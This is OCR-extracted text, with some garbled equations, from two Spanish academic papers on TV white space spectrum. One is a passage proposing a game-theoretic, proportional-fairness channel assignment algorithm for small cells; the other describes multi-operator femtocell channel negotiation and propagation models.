muy baja SINR, con la finalidad de optimizar algun
parametro de la red prioritario en sus objetivos. Debido a
ello, los usuarios situados en la zona de cobertura de dichos
nodos préacticamente no tendrian acceso a la red o la
capacidad maxima que podrian obtener seria inviable. Para
evaluar este hecho se tiene en cuenta el valor de la capacidad
obtenida en el “5% outage”. Este valor indica la capacidad
maxima que puede obtener el 5% de usuarios que se
encuentran situados dentro de las zonas de cobertura con las
condiciones mas desfavorables. De esta manera, si un nodo
queda anulado, el valor del outage 5% decae drasticamente.

El algoritmo aqui desarrollado se centra en realizar una
asignacién de canales en nodos secundarios donde se tenga
en cuenta tanto el rendimiento global de la red como el
rendimiento individual de cada uno de los nodos que la
componen. Ademéas se intentara paliar las deficiencias
observadas en los algoritmos de asignacion analizados
previamente, minimizando la diferencia entre las capacidades
ofrecidas por cada uno de los nodos de un vecindario
concreto aumentando la justicia obtenida, asi como aumentar
el valor de la capacidad de 5% outage. Para ello se hara uso
de la teoria de juegos y se desarrollara una funcion potencial
exacta de manera que aseguremos que se alcanza el equilibrio
de Nash. Finalmente se evaluara el rendimiento del algoritmo
propuesto mediante la simulacién de distintos escenarios de
red con una herramienta destinada a tal fin.

Il. MODELO DEL SISTEMA

Vamos a considerar una red de pequefias celdas operando
en entornos TVWS. Estas celdas proporcionan acceso
inaldmbrico a los usuarios situados dentro de su regién de
cobertura, por lo tanto nos referiremos a estas celdas
simplemente como nodos. Denotaremos el conjunto total de
nodos en la red como L={1,...,l}, los cuales son controlados
por un gestor de coexistencia (Coexistence Manager CM)
[11] que les proporciona los parametros de funcionamiento
para permitir la coexistencia. Se asume que los nodos operan
como dispositivos portatiles modo Il, por tanto pueden
indicar su geolocalizacion. Sin embargo, los terminales de
usuario operan como dispositivos portatiles modo I, por lo
que no tienen la capacidad de geolocalizacion. El gestor de
coexistencia tiene informacion sobre la localizacion de cada
nodo i € L, pero no tiene ninguna informacion sobre la
localizacion de los usuarios terminales. Asumiremos que los
usuarios terminales estan uniformemente distribuidos dentro
de los rangos de cobertura de los distintos nodos, y que tanto
éstos como los nodos emiten con una potencia de transmision
fija. Se tendra en cuenta que la maxima potencia de
transmision es de 40mW en canal de TV adyacente y 100mW
en canales no adyacentes. El gestor de coexistencia obtiene
informacién sobre la lista de canales TVWS K=1,...k
disponibles en base al contenido de una base de datos TVWS.
Representaremos el conjunto de canales usados por cada
nodo i ¢ L mediante un vector §i={cy,...,cj...,cn}" donde V]
cj € K. Asumiremos también que cada nodo tiene un ndmero
determinado de radios disponibles que limita el ndmero
maximo de canales que cada nodo puede usar, es decir Vi,
|5i| < ridonde ries el nimero de radios disponibles en el nodo
i-ésimo. Definimos la funcidn 4(si,c) para el nodo iy el canal
¢ como:

_ 0, sic €5;
§(5i0) = {1, sic €5; @

Adicionalmente definiremos S; como el conjunto de todas
las posibles combinaciones de canales disponibles en el nodo
i, y el espacio de combinaciones de canales S como el
producto cartesiano del conjunto de posibles combinaciones
de canales de cada nodo S = S; x ... X §; X...x S. Se asume
que cada nodo i ¢ L tiene una regién de cobertura R, y los
usuarios que reciben servicio del nodo i en el canal c
localizados en un punto (x,y) € Ri tienen una relacion de sefial
a interferencia (SINR) yi¢:
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Donde I indica la interferencia de primario a secundario en
el canal ¢ mas el ruido térmico, Pic es la potencia de
transmision del nodo i en el canal ¢, y gi(x,y) es la pérdida de
propagacion desde el nodo i hasta la posicion (xy). Para
simplificar nuestro modelo no se tendran en cuenta efectos de
desvanecimiento rapido en la SINR. La maxima tasa de
transferencia de datos de un usuario en el canal ¢ puede ser
calculada mediante el teorema de Shannon como
Wlog,(1+yf(x,v,5,..,5,..,5)),donde W es el ancho
de banda del canal c. Definiremos también la funcién de
probabilidad condicional de la SINR de un usuario que
obtiene servicios del nodo i en el canal c, situado dentro de la
region de cobertura R; como ny()/f/s_p s Spy ey S,
condicionado por la asignacion de canales en el resto de
nodos $i,...,5,...,5;. De esta manera, podemos definir la
capacidad meda que ofrece el nodo i en su region de
cobertura R; usando el canal ¢ como:

B f(i,c/81, )5, ., 5) =
Jo Wlog,(1+v{) Pye(vf /81, .., 5, .50 dvf (3)

Suponemos que el CM tiene informacion sobre la potencia
de transmision y la localizacion de cada nodo ¢ L. Por tanto,
podemos evaluar el nivel de sefial recibido procedente de
cada nodo en una posicion dada. Damos por hecho que el CM
puede usar esta informacidn para estimar la capacidad media
fG,c/5,...,5,...,5) mediante la integracion de
Wlog,(1+yf(x,y,5, .., 5, .., 5)) definida por el teorema
de Shannon en la region de cobertura R;.

Vi (XY, 51, S, s 57)

I1l. FORMULACION DEL PROBLEMA

En el escenario descrito anteriormente se observan dos
fuentes de interferencia principales. En primer lugar
encontramos la interferencia provocadas entre los propios
nodos situados proximos entre si, la cual denominaremos
interferencia secundario a secundario. Por otro lado tenemos
la interferencia provocada por la presencia de estaciones de
TV de alta potencia, las cuales emiten parte de su potencia
total de transmisién a los posibles canales TVWS adyacentes
al de la estacidon. Esto es debido a la fuga de potencia que se
realiza en canales adyacentes al principal, debido la pobre
méscara de transmision que poseen [12]. Este segundo tipo
de interferencia lo denominaremos interferencia primario a
secundario, y puede resultar especialmente perjudicial ya que
en algunos casos pueden dejar a un canal concreto
inutilizable. Es en esos casos cuando comienzan a observarse
los problemas de justicia en la asignacion de canales
propuestas por los algoritmos analizados. En determinadas
ocasiones con la finalidad de maximizar los objetivos
correspondientes del algoritmo evaluado, algunos nodos no
reciben ningln canal con una relacién sefial-interferencia
aceptable en la asignacion de canales recibida. Este hecho se
produce principalmente cuando existe uno o varios canales de
entre todos los canales disponibles con un alto nivel de ruido
primario, ya que puede darse el caso en el que convenga
asignar a un nodo el canal ruidoso con el fin de que no
produzca interferencia secundario-secundario a sus vecinos.

El entorno en el que se pretende introducir el algoritmo
que desarrollaremos es aquel donde los nodos secundarios a
los que nos referimos se trata principalmente de pequefias
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celdas destinadas a uso doméstico, haciendo uso de los
canales libres TVWS en algin punto del territorio y algin
espacio de tiempo concreto. Ademas al tratarse de un uso
personal, los nodos pueden encenderse y apagarse
aleatoriamente. Por lo tanto no podemos permitir que algin
nodo entre en funcionamiento en la red y su asignacién de
canales recibida no contenga ningln canal con una buena
SINR en comparacién con el resto, o que la incorporacion de
un nuevo vecino cercano haga que decaiga por completo la
capacidad de un nodo ya existente, ya que eso equivale a un
grupo de usuarios insatisfechos en la red.

IV. DESARROLLO DEL ALGORITMO

Tras una campafia de simulaciones en distintas situaciones
y con distintos niveles de ruido primario se observé que
podria resultar satisfactorio tener en cuenta la capacidad
actual de cada nodo a la hora de realizar la asignacion de
canales que deberia de usar cada uno de ellos, para asi un
nodo con menor capacidad tener preferencia a la hora de usar
un canal sobre un nodo con alta capacidad. Es obvio que esta
accion ayudaria a mejorar la justicia de la red, ya que
beneficia a nodos con baja capacidad ayudando de esta
manera a que ésta aumente. Ademas aseguraria que la
introduccién de un nuevo nodo, en cuyo momento no tendria
asignado ningan canal y por lo tanto con capacidad actual
nula, tenga la maxima preferencia a la hora de elegir los
canales a usar.

En primer lugar partiremos de la siguiente funcién de
utilidad, mediante la cual obtenemos una medida del
beneficio obtenido con la estrategia de canales 5, usada por i:

ZV{:E@/“(]" Cl'STli . -ﬁ'§li . ;'§l) -
Cap. total nodo j, nodo i activo
(4)

Svees; £, clShre10,.0,5) |

lCap. total nodo j, nodo i inactivo

U; = ZvjEL

Para favorecer a los nodos con menor capacidad debemos
hacer una transformacion de la funcion de utilidad, de manera
que un incremento infinitesimal de capacidad en una
situacion de baja capacidad obtenga un mayor beneficio que
ese mismo incremento en una situacion de alta capacidad. Es
decir, el valor de la derivada de la funcion de utilidad
respecto de la capacidad deber4d ser inversamente
proporcional al propio valor de la capacidad. Por lo tanto una
buena opcion seria aplicar la funcién logaritmo a la capacidad
obtenida por cada uno de los nodos:

log(ZVCESVJf(jﬁcl'STlﬁ--'E!'-;'STL) -

Ui(S) = Xvjer o _
log (ZVCESf(J! Clsl' s Q' . '!Sl )

®)

La anterior expresion tiene el problema de que cuando se
evalle el segundo término de la sumatoria en el nodo i la
capacidad obtenida es cero, ya que se evalla teniendo en
cuenta que dicho nodo tiene una estrategia con conjunto nulo.
Si usamos un argumento nulo en la funcién logaritmo su
resultado es menos infinito lo cual hace que prevalezca sobre
el resto de calculos y el resultado de la funcion de utilidad
seria el mismo para todos los nodos, independientemente de
la estrategia usada. Para evitar dicha indeterminacion
realizamos una transformacion en la funcion de utilidad en la
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que se aisle al nodo i, quedando de esta manera el problema
solucionado:

Ul(S_'I.) = log(ZVCE_ﬁf(j'clsTl"'!E"'vs_ll ) +
lOg(ZvCegf(j,ClsTl,..,S_'l,..,s_'l) -

VjEL _ _
j=i | log (ZvCegf(]', c|S,..,90,..,5 )

Asi, la funcidn de utilidad conceptualmente se define como
el logaritmo de la capacidad obtenida en el nodo i con la
estrategia seleccionada en dicho nodo, menos la degradacion
producida en el resto de nodos debido a la interferencia co-
canal producida por el nodo i, también aplicando Ia
transformacion logaritmica. Una vez desarrollada la funcion
de utilidad debemos asegurar que nos encontramos ante un
tipo juego no cooperativo que sea potencial exacto. Estos
tipos de juegos se caracterizan en que el sistema puede
alcanzar un punto de equilibrio 6ptimo Ilamado equilibrio de
Nash. Para demostrarlo se debe definir una funcion potencial
P exacta que satisfaga: Ui(S,,S_,)—Ui(S/).S.)) =
P(S,,5_,)—P(S/S_'). Para ello partiremos de la
diferencia producida en la funcién de utilidad suponiendo dos
estrategias diferentes, y a partir de entonces comenzar a
desarrollar la ecuacion hasta lograr la igualdad:

(6)

Ui(STL:S_—l)_Ui(F;q) =

lOg(ZVCE.STl f(]' ClSl, . -151' . -151 )
lOg(ZVCE?]fUicli;--N?u--:STl)

+ YvjeL

j#i | _log(ZVCES_]f(j'Cl‘STl""Q)v"!‘STl)
_log(ZVCES_LIf(jﬂcl‘STI'"'S_L"""S_‘l)

[ 10g (Zvees; £ clS /5000 )
_Z\'/jEL  _ — = (7
j#t (| = log (Zvcegf(], c|S,..,9,..,5 )

log(ZVCESTLfU'Cl‘STl'""STU""STl )
+ZVjEL [lOg (ZVCE?]fU'Cl*STl" "E'"'STZ ) ]

Jj#i

PGS
log(Zvees; fU €IS+, S, 81)

~Zvjer [10g (Teees; £ cISr,, S0, ) |

Jj#i

P(5;1,5-;1)

P(5,,8-) = P(S/,S-")

Se ha marcado mediante un recuadro aquellos términos
idénticos pero con distinto signo, de manera que pueden
omitirse simplificando asi la ecuacion resultante. Una vez
desarrollada la igualdad llegamos a un punto en el que
podemos llamar funcidn potencial al término resultante, dada
por la siguiente definicion:

P =1og(Tvces, fU, cIS1, - S0, 1)
+2Vj€L I:log(ZVCES_]f(j'Cl‘STl"'IEI"I‘STZ) ] (8)

J#i
Reescribiéndola de forma que se evalten de forma conjunta
todos los nodos se puede simplificar ain mas la ecuacién de

manera que la funcién potencial puede verse como:
P = ZVjEL[lOg(ZVCEKf(i' Clsl' . ISU . ISl ) : 6(51' C) ] (9)

Con esta funcién potencial, el modelo de juego maximiza la
sumatoria Y%, In(x;), donde x; el valor de la capacidad
obtenida en el nodo i. Tal y como se demuestra en [13] el
vector de capacidades obtenido es el que optimiza la justicia
proporcional en la red.

V. RESULTADOS

Para realizar la evaluacién del comportamiento del
algoritmo, denominado como algoritmo Log en este apartado,
se ha usado una herramienta de red facilitada por el
Departamento de Teoria de la Sefial, Telematica vy
Comunicaciones implementada en MatLab.

A. Escenario de evaluacién

El entorno de despliegue considerado es un cuadrado de
tamafio de 200m x 200m con un conjunto de 15 nodos
distribuidos al azar sobre el area. El modelo de propagacion
elegido se basa al presentado en [14] para zonas suburbanas.
Los canales disponibles se supone que son canales TVWS
adyacentes, por lo que la potencia de transmision de todos los
nodos se establece en 40mW, con un ruido térmico de fondo
establecido a -100 dBm para todos los canales considerados.
Cada nodo i se supone que da servicio a una regién circular
con radio Ri. Esta region estd centrada en la ubicacion del
nodo y tiene radios interior y exterior de 2m y 20m,
respectivamente. El area del escenario de implementacion se
divide en pixeles del tamafio 1m x 1m. El simulador calcula
la SINR y la capacidad de Shannon, en los pixeles de la
region Ri ¥i. Con esta informacion, el simulador calcula la
capacidad promedio de cada uno de los nodos, y el
rendimiento de la red al 5% outage. Para una mayor
generalidad de los resultados se realiza un promediado de 50
simulaciones de red diferentes en los que se varia Gnicamente
la ubicacién de los nodos. Se tomara el algoritmo DDSC [15]
como referencia para realizar una comparativa de resultados.

B. Resultados interferencia secundario a secundario

Para comprobar la interferencia provocada entre
secundarios se realizard un barrido en el nimero de canales
disponibles variando el nimero de radios usados por cada
nodo secundario. Se analizaran los casos en los que los nodos
secundarios usen un maximo de 1, 2 y 4 radios, variando el
namero de canales disponibles desde 2 hasta 8.

T
—%— 1 Radio-Log

— 8 —1 Radio-DDSC
—#— 2 Radios-Log

— B — 2 Radios-DDSC
2 4 Radios-Log

4 Radios-DDSC

Throughput medio red (Gbps)

4 5 6 7 8
Numero de canales disponibles

Fig. 1. Throughput medio de la red en funcién de los canales y radios
disponibles en los nodos.
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Fig. 2. Throughput 5% Outage en funcién de los canales y radios disponibles

Se puede observar como el nuevo algoritmo Log obtiene un
throughput medio total ligeramente inferior al algoritmo
DDSC, aunque la diferencia es minima y Gnicamente se hace
algo perceptible en el caso en que los nodos usan 4 radios.
Sin embargo la mejora del outage al 5% si que es mas
notable, especialmente en el caso de 4 radios, ya que en este
caso se llega a aumentar hasta en un 100% cuando existen 4
canales disponibles.

C. Resultados interferencia primario a secundario

Para analizar el efecto producido por el ruido primario en el
rendimiento de la red se establece un ruido de fondo a todos
los canales de un valor de -100 dBm. A continuacién el nivel
de ruido se ira incrementando gradualmente en 1, 2 0 3
canales hasta llegar a un valor maximo de -50 dBm, valor que
podemos encontrarnos en la realidad en partes del territorio
situadas a menos de centenares de metros o algunos
kilometros desde un emisor primario. En primer lugar
analizaremos el caso de 4 canales disponibles y un radio
maximo en los nodos, ya que los resultados obtenidos son
similares al caso de tener 2 canales disponibles pero tenemos
la opcién de tener un mayor nimero de canales ruidosos. A
continuacion se analizard el caso de 6 canales y 2 radios para
comprobar el funcionamiento del algoritmo con un mayor
espacio de estrategias. Los resultados para 4 canales y 1 radio

son los siguientes:
1
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Fig.3. Throughput medio de la red, 4 Canales disponibles, 1 Radio
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Fig. 4. Throughput 5% Outage, 4 Canales disponibles, 1 Radio

En todos los casos se ha obtenido un outage 5% superior
con el nuevo algoritmo, haciéndose especialmente notable en
el caso en el que existia un canal ruidoso de los cuatro
disponibles. Un hecho interesante es notar que en el caso de
usar el algoritmo Log, un sélo radio y un so6lo canal ruidoso
el outage 5% se estabiliza en un valor concreto (de unos 12
Mbps en este caso) a partir de que el nivel de ruido en dicho
canal supere los -60 dBm. Este hecho es bastante interesante
ya que nos asegura que a partir de un determinado nivel de
ruido el algoritmo descarta absolutamente la posibilidad de
asignar este canal ruidoso a ningin nodo, manteniendo una
capacidad minima en todos ellos aunque para ello se
perjudique en pequefia medida el throughput total de la red.
A continuacion se muestran los resultados para 6 canales y 2
radios:
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Fig. 5. Throughput medio de la red, 6 Canales disponibles, 2 Radios
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Fig. 6. Throughput 5% Outage, 6 Canales disponibles, 2 Radios

Como se comentd, al tener la posibilidad de usar 2 radios se
amplia el espacio de estrategias posibles en los nodos y el
efecto del uso de un algoritmo u otro se hace mas perceptible
en los resultados obtenidos. Como podemos ver el algoritmo
Log ofrece un outage 5% muy superior de nuevo al algoritmo
DDSC llegando incluso a superar el valor obtenido por éste
incluso con un canal ruidoso menos. Cabe destacar que el
algoritmo Log es capaz de ofrecer una capacidad de outage
5% aproximadamente igual al outage 5% ofrecido por el
algoritmo DDSC con un canal ruidoso menos.

VI. CONCLUSIONES

En este apartado se listan los resultados mas relevantes
segln las campafias de simulaciones realizadas:

e Se ha conseguido maximizar conjuntamente la capacidad
ofrecida tanto a nivel global de la red como a nivel de cada
nodo individualmente. A pesar de que la capacidad
alcanzada a nivel global no es la mayor posible, la
diferencia relativa apenas es apreciable.

o El objetivo perseguido de la mejora de justicia ha sido
conseguido. EI hecho de evaluar la capacidad global de
cada nodo en lugar de hacerlo por cada canal nos ha
ofrecido la posibilidad de conocer el rendimiento total de
cada nodo individualmente. De esta manera nos es posible
realizar la asignacion de canales en funcion de la
capacidad actual de cada nodo

e El algoritmo aqui desarrollado tiene la capacidad para
decidir por si solo cuando debe ignorar la posibilidad de
tener en cuenta un canal en las asignaciones posibles
debido al alto nivel de ruido primario encontrado en él.
Esta propiedad lo hace realmente interesante ya que
facilita la gestion de la red al no tener la necesidad de
omitir de la lista de canales disponibles los canales con
alto ruido, encargandose el propio algoritmo de ignorar
dichos canales.

e La propiedad anterior hace que se eviten las injusticias
observadas en otros algoritmos de asignacion, donde un
nodo situado en una zona con varios nodos bastante
préximos pueda quedar aislado usando canales con muy
alto ruido primario.

e El hecho de dar preferencia a los nodos con menor
capacidad hace que la incorporacién de un nuevo nodo

tenga la maxima preferencia a la hora de elegir su
estrategia a seguir. De esta manera el nuevo nodo elegira
los canales que tengan la mayor SINR en su posicion,
alcanzado el equilibrio en la red en menor nimero de
iteraciones y afectando su incorporacién solamente a los
nodos mas préximos.

e Ya que la transformacion en forma logaritmica realizada
penaliza dréasticamente la utilidad obtenida conforme la
capacidad alcanzada por el nodo tiende a cero,
préacticamente la totalidad de nodos obtiene una capacidad
minima bastante mayor al caso del algoritmo DDSC.
Debido a ello el valor del outage 5% se ve maximizado en
todos los casos.

Por lo tanto podemos considerar este algoritmo de
asignacién de canales como el adecuado para entornos
TVWS donde exista una apreciable densidad de pequefias
celdas de uso personal de caracteristicas similares,
demostrandose que es aquél que alcanza la mayor justicia
proporcional y minimiza la posibilidad de encontrarnos ante
una situacion indeseable.
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Resumen—Este proyecto propone el uso de femtoceldas (por
ejemplo LTE o LTE-Advanced) para realizar un
traspaso/descarga de parte del trafico de telefonia movil en la
banda de television (esquemas backhaul), logrando asi reducir la
sobrecarga existente en estas redes. Para ello se ha disefiado e
implementado un simulador extensible y reutilizable que supone
una solucién completa al problema de reparto y negociacion de
canales en redes multioperador operando sobre los TVWS:
creacion del escenario de operacion, estimacion del modelo de
propagacion, extraccion de parédmetros y caracteristicas, y
célculo de medidas de calidad como la relacion sefial a ruido
mas interferencia (SINR) y la tasa de transferencia (throughput).

Palabras clave—TV White Space (TVWS), Comparticién de
Espectro, Teoria de Juegos, Femtocelda, Interferencia Cocanal,
Equilibrio de Nash, Negociacion.

I. INTRODUCCION

L rapido crecimiento de los servicios de comunicacion

inaldmbricos esta provocando que el espectro
radioeléctrico sea cada vez mas escaso. Este incremento es
verdaderamente espectacular para la telefonia mévil pues,
segun un informe presentado por Ericsson [1], se espera que
entre 2011 y 2016 el trafico de datos mundial en el mévil se
multiplique por 10 (véase la fig. 1). Ademas este informe
indica que estos nuevos usuarios se concentraran en el
espacio ya que se estima que el 60% del trafico total se
generara en el 1% del territorio del planeta. Esto puede ser un
problema para la calidad de las conexiones y sera para las
operadoras y los fabricantes de méviles un reto el poder
garantizar la calidad del servicio a los usuarios.

Los recursos limitados de espectro y la ineficiencia en su uso,
debidos a que en la gran mayoria de paises, las redes y
aplicaciones inalambricas estan regulados mediante una
politica de asignacion de espectro fija, necesitan un nuevo
paradigma de las comunicaciones que explote los recursos
radio de manera adecuada. Una propuesta que estd tomando
cada vez mas protagonismo en la comunidad cientifica es el
aprovechamiento de las zonas vacias o sin utilizar del
espectro, para dar cabida a otro tipo de servicios que no son
los legitimos de la banda de frecuencia.

Data
mobile PCsftablets

@ Data

mobile handheld

@ Voice

3 2009 2010 2011

Fig. 1: Evolucién en el uso del espectro.

En este sentido, un ejemplo que ya empieza a tomar cuerpo,
sobre todo en Estados Unidos (EEUU), es el de los
denominados “espacios en blanco” de television (Television
White Spaces, TVWS). Estos tratan de aprovechar aquellas
zonas dentro de las zonas teoricas de cobertura del servicio
de television, donde, por una u otra razén no exista sefial, lo
que dejaria esas frecuencias disponibles para otros usos o
servicios.

En el presente proyecto se han utilizado los espacios en
blanco de la banda de televisidn, es decir, los TVWS, con
objeto de disefiar y desarrollar algoritmos de asignacién de
frecuencias en entornos de interior para servir en
apartamentos, zonas comerciales u oficinas, cobertura movil
mediante el uso de femtoceldas, evitando la posible
interferencia entre ellas. Se ha elegido esta banda de
frecuencias ya que de esta forma se logra evitar la
interferencia con las estaciones celulares base y se aumenta el
ancho de banda disponible. Ademas, el operar sobre los
TVWS aporta un beneficio grandisimo, tanto para los
operadores como para cualquier usuario, ya que se esta
adquiriendo una zona del espectro de forma gratuita.

Para lograr la coordinacién entre femtoceldas, se ha utilizado
una herramienta matematica que intenta resolver problemas
de optimizacién de forma eficiente, la teoria de juegos.
Fundamentdndonos en esta teoria, se han llevado a cabo
cinco modelos de negociacién para realizar un reparto de
canales entre diferentes operadores, con objeto de mejorar el
rendimiento de los usuarios en la red y la calidad de las
comunicaciones.
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Il. TEORIA DE JUEGOS

El problema del reparto o asignacién de canales se modela
como una forma normal del juego, que matematicamente

puede ser definido por la tupla r= fn {3 Av .}
donde N es un conjunto finito de jugadores (femtoceldas), y
S, son un conjunto de estrategias asociadas con el jugador i
(canales TVWS disponibles). Definimos s—xs,ieN
como un espacio de estrategia y u, :s-—> R COMO Uun

conjunto de funciones de utilidad asociadas a las estrategias
de los jugadores. Para cada jugador 1 en el juego T, la

funcién de utilidad U, es una funcion de S, la estrategia
seleccionada por el jugador i,y el perfil de estrategia de sus
oponentes S ;.

Analizando la salida del juego y considerando que los
jugadores toman decisiones independientemente y son
influenciados por las decisiones de los otros jugadores, se
busca definir si existen puntos de convergencia en un
algoritmo de seleccién adaptativa en el que los jugadores no
pueden desviarse (ya que bajaria su utilidad), por ejemplo en
un equilibrio de Nash. Un perfil de estrategia para los
jugadores, s= [s,s,,...,5, 1 €s un equilibrio de Nash si y

solo si:
U,(S)=U,(s,s,),V,eN,s €S, (1)

Si el equilibrio en el perfil de estrategia (1) es determinista,
existe una estrategia pura de equilibrio de Nash.

El rendimiento del algoritmo de adaptacion depende
significativamente de la eleccion de la funcién de utilidad
que caracteriza la preferencia de los usuarios en un canal
particular.

Se ha utilizado la funcién de utilidad propuesta en [2]. Esta
tiene en cuenta tanto la interferencia vista por un usuario al
canal particular, como la interferencia creada por los vecinos
al elegir un canal particular. Esta pensada para utilizarse en
escenarios donde los jugares operen de manera cooperativa.
Matematicamente queda definida por:

Ul(s‘,sfl):—ZN: pGf(s,s)- ZN: pG,f(s.s) vi=12.,N (2)

ji,j=1 ji,j=1

Haciendo uso de esta funcién potencial, el modelo de juego
se basa en definir un orden de encendido aleatorio entre las
femtoceldas del escenario, con el que se consigue emular la
situacion en la que los operadores encienden las femtoceldas
en instantes de tiempo distintos y adquieren un canal tan
pronto como se encienden. De esta manera establecemos un
sistema de turnos, en los que, por cada turno, solo hay una
femtocelda seleccionando un canal. Esta femtocelda
seleccionara el canal, entre los disponibles, que maximice la
funcidén de utilidad y por tanto que minimice la interferencia
con el resto de femtoceldas. Este proceso se repetira hasta
alcanzar la convergencia, es decir, aquel punto en el que
todas las femtoceldas estén conformes con el canal que tienen
asignado. Este reparto de canales se corresponde con la un
maximo local (ninguna desviacion unilateral mejora la
utilidad de un jugador).

I11. NEGOCIACION

Suponiendo que los nodos de la red son los puntos de acceso
0 estaciones base, cuya posicion es fija. Asumiendo que hay
K canales disponibles para la transmision, con K<N, y que
cada nodo selecciona un Unico canal para su
transmision/recepcidn. Para una seleccién distribuida de la
frecuencia de transmision, el juego es capaz de construir
eficazmente el mapa de distribucion de canales con una
interferencia cocanal reducida.

Un reto para implementar este juego potencial es que el
proceso seleccién de mejor respuesta definido requiere de un
coordinador para controlar las Ordenes de juego de los
usuarios. Con la falta de una infraestructura de control
central en nuestro sistema, este proceso se debe implementar
de forma distribuida. En nuestro esto lo conseguimos
definiendo la toma de decisiones siguiendo el orden de
encendido de las femtoceldas en la red. Para poder simular
este tipo de situaciones se ha establecido una variable para
controlar el orden de encendido, estableciendo éste de manera
aleatoria. De esta manera el nimero esperado de usuarios que
toman decisiones concurrentemente en una Unica iteracion es
1, simulando por tanto un proceso de toma de decisiones
secuencial. Para decidir que femtocelda es la que tiene
permiso para seleccionar un canal en cada iteracién se ha
supuesto que cada operador dispondra de entidad
coordinadora encargada de gestionar el sistema de turnos.

A continuacién vamos a describir cada una de las formas de
operar de los operadores y el modo de negociar entre ellos.

NEGOCIACION TIPO 1:

En este tipo de negociacion los operadores actdan de forma
cooperativa compartiendo toda la informacién entre si. De
manera que la forma de proceder en el juego es establecer un
orden de encendido comun para todos los operadores, los
cuales irdn encendiendo sus femtoceldas y eligiendo un canal
entre los disponibles, que maximice la funcion de utilidad.

NEGOCIACION TIPO 2:

En este tipo de negociacion los operadores actan de forma
egoista no compartiendo ningln tipo de informacién entre
ellos. La forma de proceder sera la de realizar negociaciones
de tipo 1 de forma independiente por cada operador,
disponiendo Gnicamente de la informacion de las femtoceldas
de las que es propietario.

NEGOCIACION TIPO 3

En este tipo de negociacion emulamos situaciones en las que
los operadores intercambian informacion entre ellos bajo
ciertas condiciones. La forma de juego parte de situaciones
en las que se ha realizado una negociacién de tipo 2 y se
permite el intercambio de canales entre operadores dentro de
un area circular alrededor de una femtocelda. Esta femtocelda
se correspondera con la peor de cada operador considerando
Unicamente las femtoceldas bajo su control. Dentro de esa
area se realizara una negociacion de tipo 1, teniendo en
cuenta que cada femtocelda tendrd informacién de las
femtoceldas de su mismo operador y las femtoceldas que se
encuentren dentro de esa area, que podran ser de su mismo o
de distinto operador. Este procedimiento se repetirad hasta que
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se llegue a una situacion de equilibrio en la que las
femtocelda decidan no cambiar de canal.

NEGOCIACION TIPO 4:

En este tipo de negociacion se procede del mismo modo que
en la negociacién tipo 3, salvo que se establece que dentro
del é&rea definida, s6lo podran jugar las femtoceldas
propiedad del operador que le toque el turno, si bien conocen
la informacién de femtoceldas de otros operadores dentro de
esa area.

NEGOCIACION TIPO 5:

En este tipo de negociacion emulamos situaciones en las que
una entidad superior, en la que confian todos los operadores,
conoce la informacion de todos ellos y se encarga de
gestionar la seleccidn de los canales. La forma de juego parte
de situaciones en las que se ha realizado una negociacion de
tipo 2 y se permite el intercambio de canales entre operadores
dentro de un area alrededor de dicha femtocelda. Esta
femtocelda se correspondera con la peor de cada operador
considerando todas las femtoceldas del escenario. Dentro de
esa area se realizard una negociacion de tipo 1 gestionada por
la entidad superior.

IV. ENTORNO DE EVALUACION

En este apartado se va a describir la topologia de los dos
escenarios confeccionados: modelo dual stripe y modelo en
grid.

1) Modelo dual stripe

Se trata de un sistema propuesto en el informe 3GPP TR
36.814 V9.0.0 [3] para modelar escenarios formados por
femtoceldas en entornos urbanos de alta densidad. EI modelo
estd formado por dos bandas de apartamentos cada una con
dos lineas de N apartamentos. Las dimensiones de cada
apartamento son 10m x 10m y existe una calle entre las dos
bandas con un ancho de 10m. De manera que el escenario
completo tendrd un tamafio total de 10(N+2)m x 70m. Un
ejemplo de escenario puede verse en la fig. 2, estableciendo
N=10.

Sobre este escenario se ha definido que es posible colocar
una femtocelda en cada apartamento en cualquier posicion
del mismo. De esta forma resulta un escenario muy
interesante para simular redes de aprovisionamiento de
servicios celulares en zonas de interior para dar cobertura a
un usuario especifico, de forma similar a como se
proporciona en un hogar cualquiera el servicio de Internet a
través de routers inalambricos WiFi.

i0m

1om|[31 [32 |33 [34 35 [26]37 ]38 3040

1E|r'r|I

1DrnI

10m

Fig. 2: Ejemplo de escenario 1.
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Fig. 3: Ejemplo de escenario 2.

2) Modelo en grid

Un modelo alternativo mas sencillo se ha definido de la
siguiente manera. Consideramos un espacio constituido por
una sola planta sobre la cual se definen zonas de nxm

metros cuadrados en las que estd permitido colocar una
femtocelda. Un ejemplo de este escenario se muestra en la
fig. 3.

Este escenario toma especial transcendencia cuando se
quieren simular espacios abiertos, zonas de oficinas o
comerciales sobre las cuales se quiera proporcionar cobertura
celular a través de femtoceldas.

V. MODELOS DE PROPAGACION

En este apartado realizaremos una breve descripcion de los
modelos de propagacion utilizados a lo largo de todo el
estudio. Los modelos de propagacién son la herramienta que
utilizamos para predecir de manera aproximada las pérdidas
que se producen en un ambiente determinado.

Por ello, para cumplir todos los requisitos planteados en el
proyecto se han elegido dos modelos de propagacion distintos
con los cuales se pueden predecir las pérdidas de propagacion
para escenarios operando sobre TVWS con capacidad para
simular entornos urbanos en zonas de interior

1. Modelo dual stripe

Este modelo estd asociado al escenario dual stripe y, de
acuerdo a las caracteristicas de eéste, se establece una
formulacion diferente dependiendo de la zona del escenario
en la que nos encontremos. Esta viene recogida en la Tabla 1.

Misma banda
de PL@B) 3244 + 20bg dfm) + 20bg £(GHz) + 0.7d * L
= 44 + + z) + 0. +
apartamlentos o 9 0 aaoor T »
que la
femtocelda
PL(B) = max(388 + 37.6Log R + 21bgfGHz), 3244 + 20bg dfm) + 20bg fGHzZ)) +
Fuera de la @) ‘ g bgf(GHz), g din) g £CHz)

zona de
apartamentos

+0.7d + g*L + L
2d,indoor - on
Distinta banda
de PL(dB) = max(388 + 376bg R + 21bgf(GHz), 3244 + 20bg dfm) + 20bg fGHz)) +
10 10 10
apartamentos
que la

+0.7d + g*L + L + L

2d, indoor ,, ow 1 ow,2

femtocelda

Tabla 1: Modelo de propagacién Dual Stripe adaptado a toda frecuencia
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Donde:
L. representa las pérdidas por penetracion de las paredes

de separacion entre dos apartamentos, con un valor de
5dB.

— El término 0.7d,, . . tiene en cuenta las pérdidas por

penetracion debidas a las paredes interiores de un
apartamento.

- L
O
paredes externas, con una atenuacion de 20dB.
- L,,yL, , son las pérdidas por penetracion de las

representa las pérdidas por penetracion de las

paredes externas de los dos apartamentos.

Para tener en cuenta las imperfecciones en la implementacion
de los componentes de RF y evitar un valor alto y no realista
de SINR, se introduce un modelo EVM (Error Vector
